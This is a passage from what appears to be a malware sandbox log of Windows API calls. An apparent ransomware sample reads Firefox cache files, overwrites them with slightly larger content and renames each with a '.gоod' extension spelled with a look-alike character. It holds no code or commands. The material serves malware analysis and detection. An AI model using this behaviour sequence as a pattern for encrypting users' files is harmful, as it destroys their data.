lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x3736 [0220.463] WriteFile (in: hFile=0x630, lpBuffer=0x36fc8d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeafe8, lpOverlapped=0x0 | out: lpBuffer=0x36fc8d0*, lpNumberOfBytesWritten=0x1fbeafe8*=0x10, lpOverlapped=0x0) returned 1 [0220.464] CloseHandle (hObject=0x630) returned 1 [0220.464] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC", lpFilePart=0x0) returned 0x7f [0220.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0220.464] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\097326ca201dc4feed987c8c534c04ef1e14a3dc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0220.464] GetFileType (hFile=0x630) returned 0x1 [0220.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0220.465] GetFileType (hFile=0x630) returned 0x1 [0220.465] ReadFile (in: hFile=0x630, lpBuffer=0x36fec38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb078, lpOverlapped=0x0 | out: lpBuffer=0x36fec38*, lpNumberOfBytesRead=0x1fbeb078*=0x1000, lpOverlapped=0x0) returned 1 [0222.862] CloseHandle (hObject=0x630) returned 1 [0222.862] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC", lpFilePart=0x0) returned 0x7f [0222.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0222.862] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\097326ca201dc4feed987c8c534c04ef1e14a3dc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0222.862] GetFileType (hFile=0x630) returned 0x1 [0222.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0222.862] GetFileType (hFile=0x630) returned 0x1 [0222.862] WriteFile (in: hFile=0x630, lpBuffer=0x342da70*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbeb128, lpOverlapped=0x0 | out: lpBuffer=0x342da70*, lpNumberOfBytesWritten=0x1fbeb128*=0x1010, lpOverlapped=0x0) returned 1 [0222.862] CloseHandle (hObject=0x630) returned 1 [0222.862] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC", lpFilePart=0x0) returned 0x7f [0222.863] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC.gоod", lpFilePart=0x0) returned 0x84 [0222.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0222.863] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\097326ca201dc4feed987c8c534c04ef1e14a3dc"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c8f7d5, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45c8f7d5, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x810c8026, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3746)) returned 1 [0222.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0222.863] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\097326ca201dc4feed987c8c534c04ef1e14a3dc"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\097326ca201dc4feed987c8c534c04ef1e14a3dc.gоod")) returned 1 [0222.863] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3", lpFilePart=0x0) returned 0x7f [0222.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0222.864] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0a55bc6531ca0a875d0e9f740e06af72d4ffeaa3"), fInfoLevelId=0x0, lpFileInformation=0x365ab98 | out: lpFileInformation=0x365ab98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4000ddb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc4000ddb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc6959a3a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1d63)) returned 1 [0222.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0222.864] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3", lpFilePart=0x0) returned 0x7f [0222.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0222.864] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0a55bc6531ca0a875d0e9f740e06af72d4ffeaa3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0222.865] GetFileType (hFile=0x630) returned 0x1 [0222.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0222.865] GetFileType (hFile=0x630) returned 0x1 [0222.865] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1000 [0222.865] ReadFile (in: hFile=0x630, lpBuffer=0x365b130, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb0c8, lpOverlapped=0x0 | out: lpBuffer=0x365b130*, lpNumberOfBytesRead=0x1fbeb0c8*=0xd63, lpOverlapped=0x0) returned 1 [0222.866] CloseHandle (hObject=0x630) returned 1 [0222.867] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3", lpFilePart=0x0) returned 0x7f [0222.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0222.867] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0a55bc6531ca0a875d0e9f740e06af72d4ffeaa3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0222.867] GetFileType (hFile=0x630) returned 0x1 [0222.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0222.867] GetFileType (hFile=0x630) returned 0x1 [0222.867] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1d63 [0222.867] WriteFile (in: hFile=0x630, lpBuffer=0x365c4e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeafe8, lpOverlapped=0x0 | out: lpBuffer=0x365c4e0*, lpNumberOfBytesWritten=0x1fbeafe8*=0x10, lpOverlapped=0x0) returned 1 [0222.867] CloseHandle (hObject=0x630) returned 1 [0222.867] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3", lpFilePart=0x0) returned 0x7f [0222.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0222.867] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0a55bc6531ca0a875d0e9f740e06af72d4ffeaa3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0222.867] GetFileType (hFile=0x630) returned 0x1 [0222.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0222.868] GetFileType (hFile=0x630) returned 0x1 [0222.868] ReadFile (in: hFile=0x630, lpBuffer=0x365e848, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb078, lpOverlapped=0x0 | out: lpBuffer=0x365e848*, lpNumberOfBytesRead=0x1fbeb078*=0x1000, lpOverlapped=0x0) returned 1 [0222.978] CloseHandle (hObject=0x630) returned 1 [0222.981] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3", lpFilePart=0x0) returned 0x7f [0222.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0222.981] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0a55bc6531ca0a875d0e9f740e06af72d4ffeaa3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0222.981] GetFileType (hFile=0x630) returned 0x1 [0222.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0222.981] GetFileType (hFile=0x630) returned 0x1 [0222.981] WriteFile (in: hFile=0x630, lpBuffer=0x34db038*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbeb128, lpOverlapped=0x0 | out: lpBuffer=0x34db038*, lpNumberOfBytesWritten=0x1fbeb128*=0x1010, lpOverlapped=0x0) returned 1 [0222.981] CloseHandle (hObject=0x630) returned 1 [0222.982] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3", lpFilePart=0x0) returned 0x7f [0222.982] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3.gоod", lpFilePart=0x0) returned 0x84 [0222.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0222.982] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0a55bc6531ca0a875d0e9f740e06af72d4ffeaa3"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4000ddb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc4000ddb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x811f92fb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d73)) returned 1 [0222.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0222.982] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0a55bc6531ca0a875d0e9f740e06af72d4ffeaa3"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0a55bc6531ca0a875d0e9f740e06af72d4ffeaa3.gоod")) returned 1 [0222.983] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A774848D5BE9E32A6789642784FD4DAFCD580F5", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A774848D5BE9E32A6789642784FD4DAFCD580F5", lpFilePart=0x0) returned 0x7f [0222.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0222.983] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A774848D5BE9E32A6789642784FD4DAFCD580F5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0a774848d5be9e32a6789642784fd4dafcd580f5"), fInfoLevelId=0x0, lpFileInformation=0x355d000 | out: lpFileInformation=0x355d000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42fefdeb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x42fefdeb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x42fefdeb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x747)) returned 1 [0222.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0222.983] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A774848D5BE9E32A6789642784FD4DAFCD580F5", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A774848D5BE9E32A6789642784FD4DAFCD580F5", lpFilePart=0x0) returned 0x7f [0222.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0222.983] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A774848D5BE9E32A6789642784FD4DAFCD580F5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0a774848d5be9e32a6789642784fd4dafcd580f5"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0222.983] GetFileType (hFile=0x630) returned 0x1 [0222.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0222.983] GetFileType (hFile=0x630) returned 0x1 [0222.983] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0x747 [0222.983] ReadFile (in: hFile=0x630, lpBuffer=0x355db40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x355db40*, lpNumberOfBytesRead=0x1fbeb028*=0x747, lpOverlapped=0x0) returned 1 [0222.985] CloseHandle (hObject=0x630) returned 1 [0225.406] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A774848D5BE9E32A6789642784FD4DAFCD580F5", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A774848D5BE9E32A6789642784FD4DAFCD580F5", lpFilePart=0x0) returned 0x7f [0225.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0225.406] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A774848D5BE9E32A6789642784FD4DAFCD580F5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0a774848d5be9e32a6789642784fd4dafcd580f5"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0225.407] GetFileType (hFile=0x808) returned 0x1 [0225.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0225.408] GetFileType (hFile=0x808) returned 0x1 [0225.408] WriteFile (in: hFile=0x808, lpBuffer=0x361e038*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x361e038*, lpNumberOfBytesWritten=0x1fbeaf38*=0x750, lpOverlapped=0x0) returned 1 [0225.408] CloseHandle (hObject=0x808) returned 1 [0225.409] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A774848D5BE9E32A6789642784FD4DAFCD580F5", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A774848D5BE9E32A6789642784FD4DAFCD580F5", lpFilePart=0x0) returned 0x7f [0225.409] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A774848D5BE9E32A6789642784FD4DAFCD580F5.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A774848D5BE9E32A6789642784FD4DAFCD580F5.gоod", lpFilePart=0x0) returned 0x84 [0225.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0225.409] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A774848D5BE9E32A6789642784FD4DAFCD580F5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0a774848d5be9e32a6789642784fd4dafcd580f5"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42fefdeb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x42fefdeb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x82914160, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x750)) returned 1 [0225.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0225.409] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A774848D5BE9E32A6789642784FD4DAFCD580F5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0a774848d5be9e32a6789642784fd4dafcd580f5"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A774848D5BE9E32A6789642784FD4DAFCD580F5.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0a774848d5be9e32a6789642784fd4dafcd580f5.gоod")) returned 1 [0225.415] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61", lpFilePart=0x0) returned 0x7f [0225.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0225.415] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0ac9f7b5191bd4245406c47f3ae2cfc3ee5b6b61"), fInfoLevelId=0x0, lpFileInformation=0x361f3d8 | out: lpFileInformation=0x361f3d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4f2826, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd4f2826, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1167)) returned 1 